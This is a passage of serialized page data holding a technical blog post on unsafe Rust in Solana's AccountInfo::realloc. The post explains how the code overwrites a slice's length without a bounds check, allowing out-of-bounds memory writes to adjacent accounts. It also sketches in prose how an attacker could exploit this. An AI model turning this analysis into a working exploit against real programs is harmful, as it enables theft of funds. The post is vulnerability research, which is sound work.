,"children":2518},{"class":92,"line":239},[2519,2523,2527,2531,2535,2539,2543],{"type":24,"tag":90,"props":2520,"children":2521},{"style":120},[2522],{"type":29,"value":983},{"type":24,"tag":90,"props":2524,"children":2525},{"style":136},[2526],{"type":29,"value":395},{"type":24,"tag":90,"props":2528,"children":2529},{"style":120},[2530],{"type":29,"value":216},{"type":24,"tag":90,"props":2532,"children":2533},{"style":136},[2534],{"type":29,"value":404},{"type":24,"tag":90,"props":2536,"children":2537},{"style":97},[2538],{"type":29,"value":409},{"type":24,"tag":90,"props":2540,"children":2541},{"style":146},[2542],{"type":29,"value":376},{"type":24,"tag":90,"props":2544,"children":2545},{"style":114},[2546],{"type":29,"value":381},{"type":24,"tag":25,"props":2548,"children":2549},{},[2550,2555,2557,2562,2564,2569,2571,2582,2584,2589,2591,2596],{"type":24,"tag":32,"props":2551,"children":2553},{"className":2552},[],[2554],{"type":29,"value":309},{"type":29,"value":2556}," gives us the ",{"type":24,"tag":32,"props":2558,"children":2560},{"className":2559},[],[2561],{"type":29,"value":1967},{"type":29,"value":2563}," from the ",{"type":24,"tag":32,"props":2565,"children":2567},{"className":2566},[],[2568],{"type":29,"value":1839},{"type":29,"value":2570},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":24,"tag":69,"props":2572,"children":2575},{"href":2573,"rel":2574},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[73],[2576],{"type":24,"tag":32,"props":2577,"children":2579},{"className":2578},[],[2580],{"type":29,"value":2581},"slice::as_mut_ptr()",{"type":29,"value":2583}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":24,"tag":32,"props":2585,"children":2587},{"className":2586},[],[2588],{"type":29,"value":1580},{"type":29,"value":2590}," - behind the data buffer), and then writes ",{"type":24,"tag":32,"props":2592,"children":2594},{"className":2593},[],[2595],{"type":29,"value":139},{"type":29,"value":2597}," to it.",{"type":24,"tag":25,"props":2599,"children":2600},{},[2601,2603,2615,2617,2623],{"type":29,"value":2602},"This is reasonable... ",{"type":24,"tag":842,"props":2604,"children":2605},{},[2606,2608,2613],{"type":29,"value":2607},"as long as the ",{"type":24,"tag":32,"props":2609,"children":2611},{"className":2610},[],[2612],{"type":29,"value":481},{"type":29,"value":2614}," actually came from the serialized buffer",{"type":29,"value":2616},". We'll come back to this ",{"type":24,"tag":69,"props":2618,"children":2620},{"href":2619},"#Not-contracts",[2621],{"type":29,"value":2622},"later",{"type":29,"value":226},{"type":24,"tag":25,"props":2625,"children":2626},{},[2627,2629,2634],{"type":29,"value":2628},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":24,"tag":32,"props":2630,"children":2632},{"className":2631},[],[2633],{"type":29,"value":1967},{"type":29,"value":2635}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":24,"tag":80,"props":2637,"children":2639},{"className":82,"code":2638,"language":84,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[2640],{"type":24,"tag":32,"props":2641,"children":2642},{"__ignoreMap":7},[2643,2651,2778],{"type":24,"tag":90,"props":2644,"children":2645},{"class":92,"line":93},[2646],{"type":24,"tag":90,"props":2647,"children":2648},{"style":252},[2649],{"type":29,"value":2650},"// Then set the new length in the local slice\n",{"type":24,"tag":90,"props":2652,"children":2653},{"class":92,"line":200},[2654,2658,2662,2666,2670,2674,2678,2682,2686,2690,2694,2698,2702,2706,2710,2714,2718,2722,2726,2730,2734,2738,2742,2746,2750,2754,2758,2762,2766,2770,2774],{"type":24,"tag":90,"props":2655,"children":2656},{"style":97},[2657],{"type":29,"value":895},{"type":24,"tag":90,"props":2659,"children":2660},{"style":136},[2661],{"type":29,"value":292},{"type":24,"tag":90,"props":2663,"children":2664},{"style":120},[2665],{"type":29,"value":216},{"type":24,"tag":90,"props":2667,"children":2668},{"style":120},[2669],{"type":29,"value":455},{"type":24,"tag":90,"props":2671,"children":2672},{"style":97},[2673],{"type":29,"value":371},{"type":24,"tag":90,"props":2675,"children":2676},{"style":120},[2677],{"type":29,"value":366},{"type":24,"tag":90,"props":2679,"children":2680},{"style":114},[2681],{"type":29,"value":468},{"type":24,"tag":90,"props":2683,"children":2684},{"style":97},[2685],{"type":29,"value":128},{"type":24,"tag":90,"props":2687,"children":2688},{"style":120},[2689],{"type":29,"value":226},{"type":24,"tag":90,"props":2691,"children":2692},{"style":114},[2693],{"type":29,"value":481},{"type":24,"tag":90,"props":2695,"children":2696},{"style":120},[2697],{"type":29,"value":226},{"type":24,"tag":90,"props":2699,"children":2700},{"style":108},[2701],{"type":29,"value":490},{"type":24,"tag":90,"props":2703,"children":2704},{"style":114},[2705],{"type":29,"value":495},{"type":24,"tag":90,"props":2707,"children":2708},{"style":97},[2709],{"type":29,"value":361},{"type":24,"tag":90,"props":2711,"children":2712},{"style":120},[2713],{"type":29,"value":366},{"type":24,"tag":90,"props":2715,"children":2716},{"style":97},[2717],{"type":29,"value":508},{"type":24,"tag":90,"props":2719,"children":2720},{"style":146},[2721],{"type":29,"value":376},{"type":24,"tag":90,"props":2723,"children":2724},{"style":114},[2725],{"type":29,"value":517},{"type":24,"tag":90,"props":2727,"children":2728},{"style":120},[2729],{"type":29,"value":226},{"type":24,"tag":90,"props":2731,"children":2732},{"style":108},[2733],{"type":29,"value":337},{"type":24,"tag":90,"props":2735,"children":2736},{"style":114},[2737],{"type":29,"value":117},{"type":24,"tag":90,"props":2739,"children":2740},{"style":349},[2741],{"type":29,"value":534},{"type":24,"tag":90,"props":2743,"children":2744},{"style":114},[2745],{"type":29,"value":172},{"type":24,"tag":90,"props":2747,"children":2748},{"style":97},[2749],{"type":29,"value":361},{"type":24,"tag":90,"props":2751,"children":2752},{"style":146},[2753],{"type":29,"value":376},{"type":24,"tag":90,"props":2755,"children":2756},{"style":114},[2757],{"type":29,"value":172},{"type":24,"tag":90,"props":2759,"children":2760},{"style":97},[2761],{"type":29,"value":361},{"type":24,"tag":90,"props":2763,"children":2764},{"style":120},[2765],{"type":29,"value":366},{"type":24,"tag":90,"props":2767,"children":2768},{"style":97},[2769],{"type":29,"value":371},{"type":24,"tag":90,"props":2771,"children":2772},{"style":146},[2773],{"type":29,"value":376},{"type":24,"tag":90,"props":2775,"children":2776},{"style":114},[2777],{"type":29,"value":571},{"type":24,"tag":90,"props":2779,"children":2780},{"class":92,"line":239},[2781,2785,2789,2793,2797,2801,2805],{"type":24,"tag":90,"props":2782,"children":2783},{"style":120},[2784],{"type":29,"value":983},{"type":24,"tag":90,"props":2786,"children":2787},{"style":136},[2788],{"type":29,"value":395},{"type":24,"tag":90,"props":2790,"children":2791},{"style":120},[2792],{"type":29,"value":216},{"type":24,"tag":90,"props":2794,"children":2795},{"style":136},[2796],{"type":29,"value":404},{"type":24,"tag":90,"props":2798,"children":2799},{"style":97},[2800],{"type":29,"value":409},{"type":24,"tag":90,"props":2802,"children":2803},{"style":146},[2804],{"type":29,"value":376},{"type":24,"tag":90,"props":2806,"children":2807},{"style":114},[2808],{"type":29,"value":381},{"type":24,"tag":25,"props":2810,"children":2811},{},[2812,2814,2820,2822,2833,2835,2841,2843,2849,2851,2856,2858,2863,2865,2876,2878,2885,2886,2893,2900,2902,2908,2910,2916,2918,2923,2925,2930,2932,2938,2940,2945],{"type":29,"value":2813},"That ",{"type":24,"tag":32,"props":2815,"children":2817},{"className":2816},[],[2818],{"type":29,"value":2819},"as_ptr()",{"type":29,"value":2821}," call is ",{"type":24,"tag":69,"props":2823,"children":2826},{"href":2824,"rel":2825},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[73],[2827],{"type":24,"tag":32,"props":2828,"children":2830},{"className":2829},[],[2831],{"type":29,"value":2832},"RefCell::as_ptr()",{"type":29,"value":2834}," due to the ",{"type":24,"tag":32,"props":2836,"children":2838},{"className":2837},[],[2839],{"type":29,"value":2840},"Deref",{"type":29,"value":2842}," impl on ",{"type":24,"tag":32,"props":2844,"children":2846},{"className":2845},[],[2847],{"type":29,"value":2848},"Rc",{"type":29,"value":2850}," (remember also that ",{"type":24,"tag":32,"props":2852,"children":2854},{"className":2853},[],[2855],{"type":29,"value":2008},{"type":29,"value":2857}," itself doesn't behave like a reference, you need to actually ",{"type":24,"tag":842,"props":2859,"children":2860},{},[2861],{"type":29,"value":2862},"get",{"type":29,"value":2864}," one through ",{"type":24,"tag":69,"props":2866,"children":2869},{"href":2867,"rel":2868},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[73],[2870],{"type":24,"tag":32,"props":2871,"children":2873},{"className":2872},[],[2874],{"type":29,"value":2875},"borrow",{"type":29,"value":2877}," ",{"type":24,"tag":69,"props":2879,"children":2882},{"href":2880,"rel":2881},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[73],[2883],{"type":29,"value":2884},"and",{"type":29,"value":2877},{"type":24,"tag":69,"props":2887,"children":2890},{"href":2888,"rel":2889},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[73],[2891],{"type":29,"value":2892},"frie",{"type":24,"tag":69,"props":2894,"children":2897},{"href":2895,"rel":2896},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[73],[2898],{"type":29,"value":2899},"nds",{"type":29,"value":2901},"). So from ",{"type":24,"tag":32,"props":2903,"children":2905},{"className":2904},[],[2906],{"type":29,"value":2907},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":29,"value":2909}," we get a ",{"type":24,"tag":32,"props":2911,"children":2913},{"className":2912},[],[2914],{"type":29,"value":2915},"*mut &mut [u8]",{"type":29,"value":2917}," - a ",{"type":24,"tag":842,"props":2919,"children":2920},{},[2921],{"type":29,"value":2922},"pointer",{"type":29,"value":2924}," to the ",{"type":24,"tag":842,"props":2926,"children":2927},{},[2928],{"type":29,"value":2929},"slice reference",{"type":29,"value":2931},". From here, we turn the pointer into a ",{"type":24,"tag":32,"props":2933,"children":2935},{"className":2934},[],[2936],{"type":29,"value":2937},"*const u64",{"type":29,"value":2939}," pointer and then offset by 1 ",{"type":24,"tag":32,"props":2941,"children":2943},{"className":2942},[],[2944],{"type":29,"value":1580},{"type":29,"value":2946}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":24,"tag":25,"props":2948,"children":2949},{},[2950,2952,2957,2959,2964,2966,2971,2973,2978,2980,2986],{"type":29,"value":2951},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":24,"tag":69,"props":2953,"children":2955},{"href":2954},"#Towards-safer-unsafe",[2956],{"type":29,"value":2622},{"type":29,"value":2958}," too, I promise. In summary, we're writing the new length as a ",{"type":24,"tag":32,"props":2960,"children":2962},{"className":2961},[],[2963],{"type":29,"value":1580},{"type":29,"value":2965}," to the region starting 8 bytes from the start of the slice ",{"type":24,"tag":842,"props":2967,"children":2968},{},[2969],{"type":29,"value":2970},"reference",{"type":29,"value":2972}," (the ",{"type":24,"tag":32,"props":2974,"children":2976},{"className":2975},[],[2977],{"type":29,"value":1967},{"type":29,"value":2979},").So, what does ",{"type":24,"tag":32,"props":2981,"children":2983},{"className":2982},[],[2984],{"type":29,"value":2985},"&[T]",{"type":29,"value":2987}," look like in Rust?",{"type":24,"tag":25,"props":2989,"children":2990},{},[2991,2993,3000,3002,3016,3018,3024],{"type":29,"value":2992},"According to ",{"type":24,"tag":69,"props":2994,"children":2997},{"href":2995,"rel":2996},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[73],[2998],{"type":29,"value":2999},"the reference",{"type":29,"value":3001},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":24,"tag":69,"props":3003,"children":3006},{"href":3004,"rel":3005},"https://doc.rust-lang.org/reference/type-layout.html",[73],[3007,3009,3014],{"type":29,"value":3008},"\"Type layout can be changed with each compilation. ",{"type":24,"tag":90,"props":3010,"children":3011},{},[3012],{"type":29,"value":3013},"...",{"type":29,"value":3015}," we only document what is guaranteed today\"",{"type":29,"value":3017},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":24,"tag":32,"props":3019,"children":3021},{"className":3020},[],[3022],{"type":29,"value":3023},"rustc",{"type":29,"value":3025},", the layout is a data pointer followed by the size; essentially the same as:",{"type":24,"tag":80,"props":3027,"children":3031},{"className":3028,"code":3029,"language":3030,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n void* ptr;\n size_t len;\n};\n","c",[3032],{"type":24,"tag":32,"props":3033,"children":3034},{"__ignoreMap":7},[3035,3043,3056,3073,3086],{"type":24,"tag":90,"props":3036,"children":3037},{"class":92,"line":93},[3038],{"type":24,"tag":90,"props":3039,"children":3040},{"style":252},[3041],{"type":29,"value":3042},"// C language\n",{"type":24,"tag":90,"props":3044,"children":3045},{"class":92,"line":200},[3046,3051],{"type":24,"tag":90,"props":3047,"children":3048},{"style":97},[3049],{"type":29,"value":3050},"struct",{"type":24,"tag":90,"props":3052,"children":3053},{"style":114},[3054],{"type":29,"value":3055}," slice_ref {\n",{"type":24,"tag":90,"props":3057,"children":3058},{"class":92,"line":239},[3059,3064,3068],{"type":24,"tag":90,"props":3060,"children":3061},{"style":97},[3062],{"type":29,"value":3063}," void",{"type":24,"tag":90,"props":3065,"children":3066},{"style":120},[3067],{"type":29,"value":983},{"type":24,"tag":90,"props":3069,"children":3070},{"style":114},[3071],{"type":29,"value":3072}," ptr;\n",{"type":24,"tag":90,"props":3074,"children":3075},{"class":92,"line":248},[3076,3081],{"type":24,"tag":90,"props":3077,"children":3078},{"style":97},[3079],{"type":29,"value":3080}," size_t",{"type":24,"tag":90,"props":3082,"children":3083},{"style":114},[3084],{"type":29,"value":3085}," len;\n",{"type":24,"tag":90,"props":3087,"children":3088},{"class":92,"line":258},[3089],{"type":24,"tag":90,"props":3090,"children":3091},{"style":114},[3092],{"type":29,"value":3093},"};\n",{"type":24,"tag":25,"props":3095,"children":3096},{},[3097],{"type":29,"value":3098},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":24,"tag":3100,"props":3101,"children":3102},"ol",{},[3103,3109,3127],{"type":24,"tag":3104,"props":3105,"children":3106},"li",{},[3107],{"type":29,"value":3108},"Slices are laid out in the precise manner described",{"type":24,"tag":3104,"props":3110,"children":3111},{},[3112,3114,3120,3122],{"type":29,"value":3113},"Pointers and ",{"type":24,"tag":32,"props":3115,"children":3117},{"className":3116},[],[3118],{"type":29,"value":3119},"usize",{"type":29,"value":3121}," are the same width as ",{"type":24,"tag":32,"props":3123,"children":3125},{"className":3124},[],[3126],{"type":29,"value":1580},{"type":24,"tag":3104,"props":3128,"children":3129},{},[3130,3132,3137],{"type":29,"value":3131},"The ",{"type":24,"tag":32,"props":3133,"children":3135},{"className":3134},[],[3136],{"type":29,"value":2008},{"type":29,"value":3138}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":24,"tag":25,"props":3140,"children":3141},{},[3142,3144,3149,3151,3157,3159,3164,3166,3172,3174,3179,3181,3192],{"type":29,"value":3143},"Assumption #2 is ",{"type":24,"tag":842,"props":3145,"children":3146},{},[3147],{"type":29,"value":3148},"probably",{"type":29,"value":3150}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":24,"tag":32,"props":3152,"children":3154},{"className":3153},[],[3155],{"type":29,"value":3156},"borrow_mut",{"type":29,"value":3158}," of the ",{"type":24,"tag":32,"props":3160,"children":3162},{"className":3161},[],[3163],{"type":29,"value":2008},{"type":29,"value":3165}," (through ",{"type":24,"tag":32,"props":3167,"children":3169},{"className":3168},[],[3170],{"type":29,"value":3171},"AccountInfo::try_borrow_mut_data()",{"type":29,"value":3173},"), and ",{"type":24,"tag":32,"props":3175,"children":3177},{"className":3176},[],[3178],{"type":29,"value":2008},{"type":29,"value":3180}," is not usable between multiple threads",{"type":24,"tag":1978,"props":3182,"children":3183},{},[3184],{"type":24,"tag":69,"props":3185,"children":3189},{"href":3186,"ariaDescribedBy":3187,"dataFootnoteRef":7,"id":3188},"#user-content-fn-sendsync",[1985],"user-content-fnref-sendsync",[3190],{"type":29,"value":3191},"2",{"type":29,"value":3193},", so we already have exclusive access.",{"type":24,"tag":25,"props":3195,"children":3196},{},[3197,3199,3204],{"type":29,"value":3198},"A few more ",{"type":24,"tag":842,"props":3200,"children":3201},{},[3202],{"type":29,"value":3203},"fun",{"type":29,"value":3205}," things of note, that could have gone badly but didn't:",{"type":24,"tag":3207,"props":3208,"children":3209},"ul",{},[3210,3252],{"type":24,"tag":3104,"props":3211,"children":3212},{},[3213,3215,3221,3223,3228,3230,3235,3237,3242,3244,3250],{"type":29,"value":3214},"By reborrowing the pointer (the ",{"type":24,"tag":32,"props":3216,"children":3218},{"className":3217},[],[3219],{"type":29,"value":3220},"&mut *(\u003Cvalue of type *mut u64>)",{"type":29,"value":3222},"), we've created a reference with an ",{"type":24,"tag":842,"props":3224,"children":3225},{},[3226],{"type":29,"value":3227},"unbounded lifetime",{"type":29,"value":3229},". Rust is free to infer ",{"type":24,"tag":842,"props":3231,"children":3232},{},[3233],{"type":29,"value":3234},"any",{"type":29,"value":3236}," lifetime for ",{"type":24,"tag":32,"props":3238,"children":3240},{"className":3239},[],[3241],{"type":29,"value":395},{"type":29,"value":3243}," (including ",{"type":24,"tag":32,"props":3245,"children":3247},{"className":3246},[],[3248],{"type":29,"value":3249},"'static",{"type":29,"value":3251},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":24,"tag":3104,"props":3253,"children":3254},{},[3255,3257,3263,3265,3270,3272,3277,3279,3284,3286,3291,3293,3298,3300,3305,3307,3313,3315,3320,3322,3327,3329,3334,3336,3341,3343,3348],{"type":29,"value":3256},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":24,"tag":32,"props":3258,"children":3260},{"className":3259},[],[3261],{"type":29,"value":3262},"RefMut",{"type":29,"value":3264}," returned from ",{"type":24,"tag":32,"props":3266,"children":3268},{"className":3267},[],[3269],{"type":29,"value":309},{"type":29,"value":3271},", but the ",{"type":24,"tag":32,"props":3273,"children":3275},{"className":3274},[],[3276],{"type":29,"value":3262},{"type":29,"value":3278}," is dropped at the end of the statement. So, we now have in ",{"type":24,"tag":32,"props":3280,"children":3282},{"className":3281},[],[3283],{"type":29,"value":395},{"type":29,"value":3285}," a ",{"type":24,"tag":842,"props":3287,"children":3288},{},[3289],{"type":29,"value":3290},"mutable",{"type":29,"value":3292}," pointer to the ",{"type":24,"tag":32,"props":3294,"children":3296},{"className":3295},[],[3297],{"type":29,"value":2008},{"type":29,"value":3299},"'s data, but the ",{"type":24,"tag":32,"props":3301,"children":3303},{"className":3302},[],[3304],{"type":29,"value":2008},{"type":29,"value":3306}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":24,"tag":32,"props":3308,"children":3310},{"className":3309},[],[3311],{"type":29,"value":3312},"Mutex",{"type":29,"value":3314}," instead of a ",{"type":24,"tag":32,"props":3316,"children":3318},{"className":3317},[],[3319],{"type":29,"value":2008},{"type":29,"value":3321}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":24,"tag":32,"props":3323,"children":3325},{"className":3324},[],[3326],{"type":29,"value":395},{"type":29,"value":3328}," and writing to it ",{"type":24,"tag":842,"props":3330,"children":3331},{},[3332],{"type":29,"value":3333},"and succeed",{"type":29,"value":3335},", resulting in us writing while another reference is alive. However, since ",{"type":24,"tag":32,"props":3337,"children":3339},{"className":3338},[],[3340],{"type":29,"value":395},{"type":29,"value":3342}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":24,"tag":32,"props":3344,"children":3346},{"className":3345},[],[3347],{"type":29,"value":481},{"type":29,"value":3349}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":24,"tag":25,"props":3351,"children":3352},{},[3353,3355,3360],{"type":29,"value":3354},"Ok, now that we've understood what the code is ",{"type":24,"tag":842,"props":3356,"children":3357},{},[3358],{"type":29,"value":3359},"trying",{"type":29,"value":3361}," to do, let's try to break it, shall we?",{"type":24,"tag":850,"props":3363,"children":3365},{"id":3364},"what-can-go-wrong",[3366],{"type":29,"value":3367},"What can go wrong?",{"type":24,"tag":1019,"props":3369,"children":3371},{"id":3370},"contracts",[3372],{"type":29,"value":3373},"Contracts",{"type":24,"tag":25,"props":3375,"children":3376},{},[3377,3379,3384,3386,3391,3393,3398,3400,3405],{"type":29,"value":3378},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":24,"tag":32,"props":3380,"children":3382},{"className":3381},[],[3383],{"type":29,"value":37},{"type":29,"value":3385},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":24,"tag":32,"props":3387,"children":3389},{"className":3388},[],[3390],{"type":29,"value":37},{"type":29,"value":3392}," to some large size, past the end of the buffer of roughly ",{"type":24,"tag":32,"props":3394,"children":3396},{"className":3395},[],[3397],{"type":29,"value":1795},{"type":29,"value":3399}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":24,"tag":32,"props":3401,"children":3403},{"className":3402},[],[3404],{"type":29,"value":481},{"type":29,"value":3406}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":24,"tag":25,"props":3408,"children":3409},{},[3410,3412,3419],{"type":29,"value":3411},"There is ",{"type":24,"tag":69,"props":3413,"children":3416},{"href":3414,"rel":3415},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[73],[3417],{"type":29,"value":3418},"a check",{"type":29,"value":3420}," by the BPF loader, however, and it boils down to:",{"type":24,"tag":80,"props":3422,"children":3424},{"className":82,"code":3423,"language":84,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n return Err(InstructionError::InvalidRealloc);\n}\n",[3425],{"type":24,"tag":32,"props":3426,"children":3427},{"__ignoreMap":7},[3428,3466,3496,3503,3536],{"type":24,"tag":90,"props":3429,"children":3430},{"class":92,"line":93},[3431,3435,3440,3444,3448,3452,3456,3461],{"type":24,"tag":90,"props":3432,"children":3433},{"style":636},[3434],{"type":29,"value":2084},{"type":24,"tag":90,"props":3436,"children":3437},{"style":136},[3438],{"type":29,"value":3439}," post_len",{"type":24,"tag":90,"props":3441,"children":3442},{"style":120},[3443],{"type":29,"value":226},{"type":24,"tag":90,"props":3445,"children":3446},{"style":108},[3447],{"type":29,"value":766},{"type":24,"tag":90,"props":3449,"children":3450},{"style":114},[3451],{"type":29,"value":117},{"type":24,"tag":90,"props":3453,"children":3454},{"style":120},[3455],{"type":29,"value":983},{"type":24,"tag":90,"props":3457,"children":3458},{"style":136},[3459],{"type":29,"value":3460},"pre_len",{"type":24,"tag":90,"props":3462,"children":3463},{"style":114},[3464],{"type":29,"value":3465},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":24,"tag":90,"props":3467,"children":3468},{"class":92,"line":200},[3469,3474,3478,3482,3487,3491],{"type":24,"tag":90,"props":3470,"children":3471},{"style":120},[3472],{"type":29,"value":3473}," ||",{"type":24,"tag":90,"props":3475,"children":3476},{"style":136},[3477],{"type":29,"value":3439},{"type":24,"tag":90,"props":3479,"children":3480},{"style":120},[3481],{"type":29,"value":658},{"type":24,"tag":90,"props":3483,"children":3484},{"style":114},[3485],{"type":29,"value":3486}," MAX_PERMITTED_DATA_LENGTH ",{"type":24,"tag":90,"props":3488,"children":3489},{"style":97},[3490],{"type":29,"value":361},{"type":24,"tag":90,"props":3492,"children":3493},{"style":146},[3494],{"type":29,"value":3495}," usize\n",{"type":24,"tag":90,"props":3497,"children":3498},{"class":92,"line":239},[3499],{"type":24,"tag":90,"props":3500,"children":3501},{"style":114},[3502],{"type":29,"value":2221},{"type":24,"tag":90,"props":3504,"children":3505},{"class":92,"line":248},[3506,3511,3515,3519,3523,3527,3532],{"type":24,"tag":90,"props":3507,"children":3508},{"style":636},[3509],{"type":29,"value":3510}," return",{"type":24,"tag":90,"props":3512,"children":3513},{"style":146},[3514],{"type":29,"value":2258},{"type":24,"tag":90,"props":3516,"children":3517},{"style":114},[3518],{"type":29,"value":117},{"type":24,"tag":90,"props":3520,"children":3521},{"style":146},[3522],{"type":29,"value":2267},{"type":24,"tag":90,"props":3524,"children":3525},{"style":120},[3526],{"type":29,"value":1211},{"type":24,"tag":90,"props":3528,"children":3529},{"style":146},[3530],{"type":29,"value":3531},"InvalidRealloc",{"type":24,"tag":90,"props":3533,"children":3534},{"style":114},[3535],{"type":29,"value":571},{"type":24,"tag":90,"props":3537,"children":3538},{"class":92,"line":258},[3539],{"type":24,"tag":90,"props":3540,"children":3541},{"style":114},[3542],{"type":29,"value":827},{"type":24,"tag":25,"props":3544,"children":3545},{},[3546,3548,3553,3555,3560],{"type":29,"value":3547},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":24,"tag":842,"props":3549,"children":3550},{},[3551],{"type":29,"value":3552},"finishes",{"type":29,"value":3554}," execution. ",{"type":24,"tag":842,"props":3556,"children":3557},{},[3558],{"type":29,"value":3559},"During",{"type":29,"value":3561}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":24,"tag":25,"props":3563,"children":3564},{},[3565,3567,3572,3574,3579,3581,3588],{"type":29,"value":3566},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":24,"tag":842,"props":3568,"children":3569},{},[3570],{"type":29,"value":3571},"arbitrary",{"type":29,"value":3573}," memory access through a mistakenly-",{"type":24,"tag":32,"props":3575,"children":3577},{"className":3576},[],[3578],{"type":29,"value":37},{"type":29,"value":3580},"'d account, this falls in the relm of some ",{"type":24,"tag":69,"props":3582,"children":3585},{"href":3583,"rel":3584},"https://en.wikipedia.org/wiki/Buffer_overflow",[73],[3586],{"type":29,"value":3587},"old-school pwning",{"type":29,"value":3589}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":24,"tag":1019,"props":3591,"children":3593},{"id":3592},"not-contracts",[3594],{"type":29,"value":3595},"Not-contracts?",{"type":24,"tag":25,"props":3597,"children":3598},{},[3599,3601,3606,3608,3618,3620,3632,3634,3641,3643,3648,3650,3655,3657,3670,3672,3677,3679,3684],{"type":29,"value":3600},"Remember when we said that all this code makes sense ",{"type":24,"tag":842,"props":3602,"children":3603},{},[3604],{"type":29,"value":3605},"if the data points to the BPF loader's serialized buffer",{"type":29,"value":3607},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":24,"tag":69,"props":3609,"children":3612},{"href":3610,"rel":3611},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[73],[3613],{"type":24,"tag":32,"props":3614,"children":3616},{"className":3615},[],[3617],{"type":29,"value":1434},{"type":29,"value":3619}," are public, and so is its ",{"type":24,"tag":69,"props":3621,"children":3624},{"href":3622,"rel":3623},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[73],[3625,3630],{"type":24,"tag":32,"props":3626,"children":3628},{"className":3627},[],[3629],{"type":29,"value":1622},{"type":29,"value":3631}," method",{"type":29,"value":3633}," (which is ",{"type":24,"tag":69,"props":3635,"children":3638},{"href":3636,"rel":3637},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[73],[3639],{"type":29,"value":3640},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":29,"value":3642},"). The ",{"type":24,"tag":32,"props":3644,"children":3646},{"className":3645},[],[3647],{"type":29,"value":37},{"type":29,"value":3649}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":24,"tag":32,"props":3651,"children":3653},{"className":3652},[],[3654],{"type":29,"value":1434},{"type":29,"value":3656}," ourselves - potentially through the ",{"type":24,"tag":69,"props":3658,"children":3661},{"href":3659,"rel":3660},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[73],[3662,3668],{"type":24,"tag":32,"props":3663,"children":3665},{"className":3664},[],[3666],{"type":29,"value":3667},"Account",{"type":29,"value":3669}," trait",{"type":29,"value":3671},", which is hardly documented at all and makes ",{"type":24,"tag":842,"props":3673,"children":3674},{},[3675],{"type":29,"value":3676},"no",{"type":29,"value":3678}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":24,"tag":32,"props":3680,"children":3682},{"className":3681},[],[3683],{"type":29,"value":481},{"type":29,"value":3685}," buffer.",{"type":24,"tag":25,"props":3687,"children":3688},{},[3689,3691,3702,3704,3710,3712,3718,3720,3733,3735,3740,3742,3747,3749,3754,3756,3761,3763,3768,3770,3775],{"type":29,"value":3690},"One long arm of this is 